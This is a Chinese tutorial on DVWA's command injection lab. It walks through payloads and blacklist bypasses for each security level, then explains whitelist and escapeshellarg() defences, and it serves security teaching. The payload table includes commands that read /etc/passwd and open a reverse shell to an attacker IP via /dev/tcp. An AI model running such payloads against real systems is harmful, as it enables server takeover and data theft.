news 2026/7/3 13:36:03

DVWA从入门到精通(三):Command Injection(命令注入)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
DVWA从入门到精通(三):Command Injection(命令注入)

摘要:本文是《DVWA从入门到精通》系列的第三篇,带你全面掌握Command Injection(命令注入)模块的攻防全流程。从命令注入的核心原理出发,逐步讲解Low、Medium、High三个级别的攻击手法与源码分析,并深入探讨Impossible级别的终极防御方案。文章包含命令连接符的详细讲解、黑名单绕过技巧、白名单防御原理以及PHP安全函数的使用方法,让你真正做到“知其然更知其所以然”。


一、什么是命令注入?

1.1 命令注入的核心原理

命令注入(Command Injection),是指攻击者通过提交恶意构造的参数,破坏命令语句的结构,从而达到执行恶意系统命令的目的。它是PHP应用程序中常见的脚本漏洞之一。

打个比方帮助理解

想象一下,你家的智能门锁本来只认你输入的特定密码来执行“开门”这个动作。但如果这个门锁的设计有缺陷,它会把密码后面你胡乱加上的任何话,都当成开门指令的一部分。比如,你本来应该说“芝麻开门”,结果你说成了“芝麻开门 && 把保险柜也打开”,门锁居然真的把两件事都做了。命令注入,就是这么回事。

从技术角度来看

命令注入漏洞的本质是应用程序将用户输入直接拼接到系统命令中,而没有进行必要的验证或转义。攻击者可以通过注入命令分隔符、管道、重定向等特殊字符,修改原始命令的意图,执行额外的恶意命令。

一个典型的漏洞场景:

$target = $_GET['ip']; system("ping -c 4 " . $target);

用户输入127.0.0.1时,系统执行ping -c 4 127.0.0.1。但如果用户输入的是127.0.0.1 && cat /etc/passwd,拼接后的命令就变成了:

ping -c 4 127.0.0.1 && cat /etc/passwd

在Linux/Unix的Shell中,&&是命令连接符,意思是“如果前面的命令执行成功,则执行后面的命令”。于是cat /etc/passwd(查看系统用户列表)就会被执行。

1.2 命令注入的危害

命令注入的危害等级通常被认为是“高危”甚至“严重”,因为一旦利用成功,几乎等同于拿到了服务器的命令行访问权限。具体危害包括:

危害说明
执行系统命令继承Web服务程序的权限执行任意系统命令
读写文件读取敏感文件(如/etc/passwd、数据库配置文件)
反弹Shell获取服务器的远程命令行控制权
控制服务器完全控制整个网站甚至服务器
内网渗透以服务器为跳板,攻击内网其他机器

1.3 命令连接符详解

在命令注入中,命令连接符是最核心的攻击武器。以下是常见的命令连接符及其功能:

连接符功能示例
&后台执行(Linux)/ 顺序执行(Windows)ping 127.0.0.1 & whoami
&&前面命令成功后才执行后面的命令(短路与)ping 127.0.0.1 && whoami
|将前一个命令的输出作为后一个命令的输入(管道)ping 127.0.0.1 | whoami
||前面命令失败时才执行后面的命令(短路或)ping 127.0.0.1 || whoami
;顺序执行多条命令(Linux)ping 127.0.0.1; whoami
`命令替换(执行反引号内的命令)ping 127.0.0.1 `whoami`
$()命令替换(执行括号内的命令)ping 127.0.0.1 $(whoami)

关键区别

  • &&&&是后台执行(Linux)或顺序执行(Windows),&&是有条件的执行(前命令成功才执行后命令)

  • ||||是管道传递输出,||是有条件的执行(前命令失败才执行后命令)

  • ;在Linux下直接顺序执行,在Windows CMD中不默认支持


二、准备工作

2.1 靶场环境

确保DVWA已部署并正常运行,访问地址:http://你的服务器IP/dvwa/login.php,使用admin/password登录。

2.2 基础知识

  • 了解基本的Linux/Windows命令行操作

  • 熟悉常见的系统命令(如whoamiidcatdiripconfig等)

2.3 必备工具

  • 浏览器:Chrome / Firefox(F12开发者工具查看请求/响应)

  • Burp Suite:用于抓包和修改请求参数


三、Low级别:毫无防护的“裸奔”状态

3.1 安全级别设置

将DVWA Security设置为Low级别,然后进入Command Injection模块。

3.2 界面观察

Command Injection模块的界面非常简单——一个输入框和一个“Submit”按钮。页面上方提示:“Enter an IP address”(输入一个IP地址进行Ping测试)。

这个功能的本意是:用户输入一个IP地址,服务器执行ping命令,然后返回Ping的结果。

3.3 正常测试

先输入一个正常的IP地址,比如127.0.0.1,点击提交。

页面会返回类似这样的Ping结果:

3.4 源码分析

点击页面底部的“View Source”按钮,查看Low级别的核心代码:

<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>

这段代码存在致命的命令注入漏洞

  • 完全没有过滤$target直接获取用户输入,未经任何验证或过滤

  • 直接拼接到系统命令:用户输入被直接拼接到ping命令中

  • 结果回显:命令执行的结果会直接显示在页面上,方便攻击者确认攻击效果

3.5 攻击方法:利用命令连接符执行任意命令

由于没有过滤,攻击者可以使用任意命令连接符拼接恶意命令。

示例1:使用&&连接符(Linux)

输入:

127.0.0.1 && whoami

实际执行的命令:

ping -c 4 127.0.0.1 && whoami

ping命令执行成功后,whoami命令也会被执行,显示当前Web服务器的运行用户(通常是wwwapache)。

示例2:使用|管道符

输入:

127.0.0.1 | id

实际执行的命令:

ping -c 4 127.0.0.1 | id

ping的输出被传递给id命令,id命令会显示当前用户的UID和GID信息。

示例3:读取敏感文件(Linux)

输入:

127.0.0.1 && cat /etc/passwd

这会读取系统的用户账户文件。

示例4:Windows系统命令

如果你的DVWA部署在Windows上,可以使用:

127.0.0.1 & ipconfig 127.0.0.1 & dir

常用攻击Payload汇总

目标Payload(Linux)Payload(Windows)
查看当前用户127.0.0.1 && whoami127.0.0.1 & whoami
查看系统信息127.0.0.1 && uname -a127.0.0.1 & systeminfo
读取敏感文件127.0.0.1 && cat /etc/passwd127.0.0.1 & type C:\Windows\win.ini
查看网络配置127.0.0.1 && ifconfig127.0.0.1 & ipconfig
反弹Shell127.0.0.1 && bash -i >& /dev/tcp/攻击IP/端口 0>&1复杂,需借助工具

3.6 Low级别总结

缺陷说明
无任何输入过滤用户输入直接拼接到系统命令
无任何转义处理特殊字符(&|;等)未被处理
结果回显命令执行结果直接显示在页面上
高危漏洞可执行任意系统命令,控制服务器

四、Medium级别:黑名单的“第一次尝试”

4.1 安全级别设置

将DVWA Security切换为Medium级别。

4.2 观察变化

在Medium级别下,尝试输入127.0.0.1 && whoami,发现&&不再生效了。

4.3 源码分析

查看Medium级别的核心代码:

<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Set blacklist $substitutions = array( '&&' => '', ';' => '', ); // Remove any of the characters in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>

Medium级别的变化

  • 引入了黑名单机制:使用str_replace函数将&&;替换为空字符串

  • 黑名单非常有限:只过滤了&&;两个连接符

4.4 黑名单的局限性

黑名单防御的核心问题是:你不可能列出所有可能的恶意输入。攻击者总能找到漏网之鱼。

在Medium级别中,虽然&&;被过滤了,但以下连接符仍然可用

  • &(Windows下顺序执行,Linux下后台执行)

  • |(管道符)

  • ||(短路或)

4.5 攻击方法:利用未过滤的连接符

方法1:使用&连接符

输入:

127.0.0.1 & whoami

&没有被过滤,命令成功执行。

方法2:使用|管道符

输入:

127.0.0.1 | whoami

|也没有被过滤,命令成功执行。

方法3:使用||连接符

输入:

127.0.0.1 || whoami

由于ping 127.0.0.1会成功,||后面的命令不会执行。但可以这样绕过:

不存在的IP || whoami

4.6 Medium级别总结

改进局限性
黑名单过滤&&;仅过滤了2个连接符,其他连接符(&|||)仍然可用
使用str_replace替换仅替换一次,不递归处理
黑名单机制本身有缺陷攻击者总能找到未过滤的特殊字符

五、High级别:更全的黑名单,但仍有漏洞

5.1 安全级别设置

将DVWA Security切换为High级别。

5.2 源码分析

查看High级别的核心代码:

<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = trim($_REQUEST[ 'ip' ]); // Set blacklist $substitutions = array( '||' => '', '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', ); // Remove any of the characters in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>

High级别的变化

  • 黑名单更全面:过滤了&;|-$()`||等多个特殊字符

  • 仍然使用str_replace:逐个替换,不递归处理

5.3 黑名单的致命缺陷

仔细观察黑名单,你会发现一个关键问题

'| ' => '', // 注意:| 后面有一个空格!

黑名单中过滤的是|(管道符+空格),而不是单独的|

这意味着:如果攻击者输入127.0.0.1|whoami(管道符后面没有空格),str_replace找不到匹配项,不会进行替换。

5.4 攻击方法:利用黑名单的漏洞

方法:使用不带空格的|

输入:

127.0.0.1|whoami

由于黑名单中只有|(带空格),|(不带空格)不会被过滤,命令成功执行。

安全建议:在实际开发中,应该使用trim()函数删除字符串两端的空格,或者在黑名单中同时包含带空格和不带空格的版本。

5.5 High级别总结

改进局限性
黑名单更全面(9个条目)黑名单中存在空格问题(|而非|
覆盖了更多特殊字符仍然使用str_replace,存在绕过可能
黑名单机制本身有天然缺陷——总有遗漏

六、Impossible级别:终极防御方案

6.1 安全级别设置

将DVWA Security切换为Impossible级别。

6.2 源码分析

查看Impossible级别的核心代码:

<?php if( isset( $_POST[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $target = $_REQUEST[ 'ip' ]; $target = stripslashes( $target ); // Split the IP into 4 octects $octet = explode( ".", $target ); // Check IF each octet is an integer if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) { // If all 4 octets are int's put the IP back together. $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } else { // Ops. Let the user name theres a mistake echo '<pre>ERROR: You have entered an invalid IP.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?>

6.3 Impossible级别的防御体系

Impossible级别构建了多层防御体系,彻底杜绝了命令注入的可能性:

第一层:白名单验证(核心防御)

这是最关键的一层防御。代码将用户输入的字符串按.分割成四个部分,然后逐个检查每个部分是否都是数字,并且总共有4个部分。

if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) { // 只有合法的IP地址才能进入 }

为什么白名单比黑名单更安全?

对比黑名单白名单
思路列出所有“坏”的字符只允许“好”的输入
覆盖性总有遗漏只允许特定格式
安全性低(总有绕过方法)高(严格控制输入格式)
适用场景不推荐用于安全关键场景推荐用于安全关键场景

白名单机制的核心思想是:只允许已知的、安全的输入,其他一切输入都被拒绝。

第二层:CSRF Token验证

代码使用checkToken()函数验证请求中的user_token是否与会话中的session_token一致。这防止了攻击者通过CSRF(跨站请求伪造)方式发起攻击。

第三层:输入清理

使用stripslashes()去除输入中的反斜杠转义字符。

第四层:重新组合IP地址

即使用户输入的IP地址通过了数字验证,代码也会重新组合IP地址,而不是直接使用用户输入:

$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

这确保了最终传递给shell_exec()$target一定是一个合法的、只包含数字和点的IP地址,绝无可能包含任何特殊字符。

6.4 Impossible级别能否被绕过?

理论上,几乎不可能。

Impossible级别通过白名单验证彻底杜绝了命令注入的可能性。用户输入的任何非数字字符(如&|;$等)都会导致验证失败,程序直接报错退出,根本不会执行任何系统命令。

即使攻击者输入127.0.0.1 && whoami,分割后的数组是['127', '0', '0', '1 && whoami'],第4个元素'1 && whoami'不是数字,验证失败,攻击失败。

6.5 Impossible级别总结

防御层技术手段作用
第一层白名单验证(IP格式校验)只允许合法的IP地址,彻底阻断命令注入
第二层CSRF Token验证防止跨站请求伪造攻击
第三层stripslashes()清理去除转义字符
第四层重新组合IP地址确保最终输入是纯净的IP地址

七、防御命令注入的最佳实践

通过DVWA四个级别的对比,我们可以总结出防御命令注入的最佳实践

7.1 必须实施的防御措施

措施说明优先级
白名单验证只允许特定格式的输入(如IP地址、数字等)⭐⭐⭐⭐⭐
使用安全函数使用escapeshellarg()转义命令参数⭐⭐⭐⭐⭐
避免执行外部命令尽量使用PHP内置函数替代系统命令调用⭐⭐⭐⭐
参数化/结构化输入不要拼接字符串,使用结构化方式构建命令⭐⭐⭐⭐

7.2 推荐的辅助措施

措施说明优先级
最小权限原则Web服务器以最低权限运行,降低攻击影响⭐⭐⭐⭐
输入验证验证输入的格式、长度、类型⭐⭐⭐
日志记录记录所有命令执行操作,便于审计⭐⭐⭐
禁用危险函数php.ini中禁用shell_exec()system()等函数⭐⭐⭐

7.3 PHP安全函数详解

escapeshellarg()函数

escapeshellarg()是PHP提供的专门用于防御命令注入的函数。它会将字符串转义为安全的Shell参数。

// 不安全的做法 $cmd = shell_exec('ping -c 4 ' . $target); ​ // 安全的做法 $target_sanitized = escapeshellarg($target); $cmd = shell_exec('ping -c 4 ' . $target_sanitized);

escapeshellarg()会将任何可能引起参数或命令结束的字符进行转义:

  • 单引号'转义为\'

  • 双引号"转义为\"

  • 分号;转义为\;

  • 其他特殊字符也会被正确处理

escapeshellcmd()函数

escapeshellcmd()会把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义,比如管道符(|)、分号(;)、重定向(>)、从文件读入(<)等。

7.4 常见误区

在实际开发中,以下做法不能有效防御命令注入:

  • 仅使用黑名单:总有遗漏的字符或绕过方法

  • 仅使用str_replace():不递归、不全面

  • 依赖前端验证:攻击者可以绕过前端直接发请求

  • 使用addslashes():不能完全防御Shell命令注入


八、Windows与Linux的差异

在实际的命令注入测试中,需要注意操作系统之间的差异:

特性Linux/UnixWindows
Ping命令参数ping -c 4 IPping IP
命令分隔符;&&||&|&&&|||;不默认支持)
换行符注入%0a可作为命令分隔符%0a无效
敏感文件/etc/passwd/etc/shadowC:\Windows\win.ini
用户信息命令whoamiiduname -awhoamisysteminfo

测试建议

  • 如果靶机是Linux,优先使用;&&|||%0a

  • 如果靶机是Windows,优先使用&|

  • 不确定操作系统时,可以同时尝试多种连接符


九、总结

本文围绕命令注入漏洞展开系统学习,我们先掌握其核心成因:程序直接拼接用户输入至系统命令,攻击者借助特殊拼接符号执行任意系统指令,区分 &、&&、|、||、;、`、$() 等各类命令连接符的作用与差异;再逐级实操分析 DVWA 四种安全等级,Low 无过滤可直接注入命令,Medium 仅黑名单拦截 &&、; 仍存在可绕过符号,High 过滤带空格的 | 却遗漏无空格 | 造成防护失效,Impossible 依靠输入白名单、CSRF Token、输入清洗实现完备防护;同时梳理出白名单校验、escapeshellarg () 转义、服务器最小权限等防护手段。命令注入漏洞危害性极高,被利用后攻击者可接管服务器,借助 DVWA 命令注入模块我们兼顾攻击绕过思路与安全防御逻辑,生产环境中采用白名单校验、尽量规避调用系统命令、遵循最小权限原则的多重防护方案,能够从根源杜绝命令注入风险。


重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/3 13:33:15

WorkshopDL终极指南:无需Steam账号免费下载创意工坊模组

WorkshopDL终极指南&#xff1a;无需Steam账号免费下载创意工坊模组 【免费下载链接】WorkshopDL WorkshopDL - The Best Steam Workshop Downloader 项目地址: https://gitcode.com/gh_mirrors/wo/WorkshopDL 还在为无法访问Steam创意工坊的游戏模组而烦恼吗&#xff1…

作者头像 李华
网站建设 2026/7/3 13:27:02

LLM开发者生存图谱:大模型工程化落地的四层架构与成本可控实践

1. 这不是转行指南&#xff0c;而是一份LLM开发者的真实生存图谱“为什么要做大模型开发者&#xff1f;”——这个问题我被问了至少三十七次&#xff0c;提问者身份跨度极大&#xff1a;刚毕业的计算机系学生、做了八年Java后端突然想“搞点AI”的中年工程师、某传统制造业CTO、…

作者头像 李华
网站建设 2026/7/3 13:14:39

BLDC电机FOC控制:A89307驱动芯片与PIC32MX795F512L方案详解

1. 项目背景与核心器件选型在工业自动化和高精度运动控制领域&#xff0c;无刷直流电机(BLDC)因其高效率、长寿命和低维护需求已成为主流选择。本项目采用Allegro MicroSystems的A89307专用驱动芯片与Microchip的PIC32MX795F512L微控制器组合&#xff0c;构建了一套支持15A大电…

作者头像 李华
网站建设 2026/7/3 13:14:01

STM32与TB9051FTG实现静音直流电机控制方案

1. 项目背景与核心需求在工业自动化和消费电子领域&#xff0c;直流电机因其结构简单、控制方便等优势被广泛应用。但传统PWM调速方案存在明显的电磁噪声问题&#xff0c;特别是在低速运行时更为突出。我曾在一个智能窗帘项目中&#xff0c;就遇到过电机运转噪音影响用户体验的…

作者头像 李华